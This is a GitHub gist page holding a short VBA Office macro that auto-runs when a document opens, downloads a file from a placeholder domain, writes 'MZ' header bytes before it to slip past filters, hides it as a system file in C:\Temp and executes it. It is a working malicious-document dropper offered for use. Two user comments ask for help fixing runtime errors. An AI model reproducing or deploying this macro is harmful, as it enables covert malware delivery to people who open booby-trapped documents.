Skip to content

Instantly share code, notes, and snippets.

@nopslider

nopslider/Download and Execute Office Macro

Last active August 5, 2024 14:58
Show Gist options
  • Save nopslider/0d48760928642ca190ed to your computer and use it in GitHub Desktop.
Save nopslider/0d48760928642ca190ed to your computer and use it in GitHub Desktop.
Download ZIP
A short VBA macro to download and execute a file (patching the first two bytes of the file)
Raw
Download and Execute Office Macro
Sub AutoOpen()
Const ADTYPEBINARY = 1
Const ADSAVECREATEOVERWRITE = 2
Dim xHttp
Dim bStrm
Dim filename
Set xHttp = CreateObject("Microsoft.XMLHTTP")
xHttp.Open "GET", "https://<DOMAIN>/<FILE>", False
xHttp.Send
Set gobjBinaryOutputStream = CreateObject("Adodb.Stream")
filename = "C:\Temp\" & DateDiff("s", #1/1/1970#, Now())
gobjBinaryOutputStream.Type = ADTYPEBINARY
gobjBinaryOutputStream.Open
gobjBinaryOutputStream.write CreateObject("System.Text.ASCIIEncoding").GetBytes_4("M")
gobjBinaryOutputStream.write CreateObject("System.Text.ASCIIEncoding").GetBytes_4("Z")
gobjBinaryOutputStream.write xHttp.responseBody
gobjBinaryOutputStream.savetofile filename, ADSAVECREATEOVERWRITE
SetAttr filename, vbReadOnly + vbHidden + vbSystem
Shell (filename)
End Sub
@johnjohny1990
Copy link

hi
I creat but when I test display this error
Run-time error '-2146697211(800c0005)':
The system cannot locate the resource specified

@johnjohny1990
Copy link

please help me

@MantaRay95
Copy link

MantaRay95 commented Jul 4, 2019 •
edited
Loading

Hi. I am getting a error in saving the file. runtime error 3004 (in line 23). Is it a privilege problem. I am in the administrator account. Can you help me in fixing this one? Thankz.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment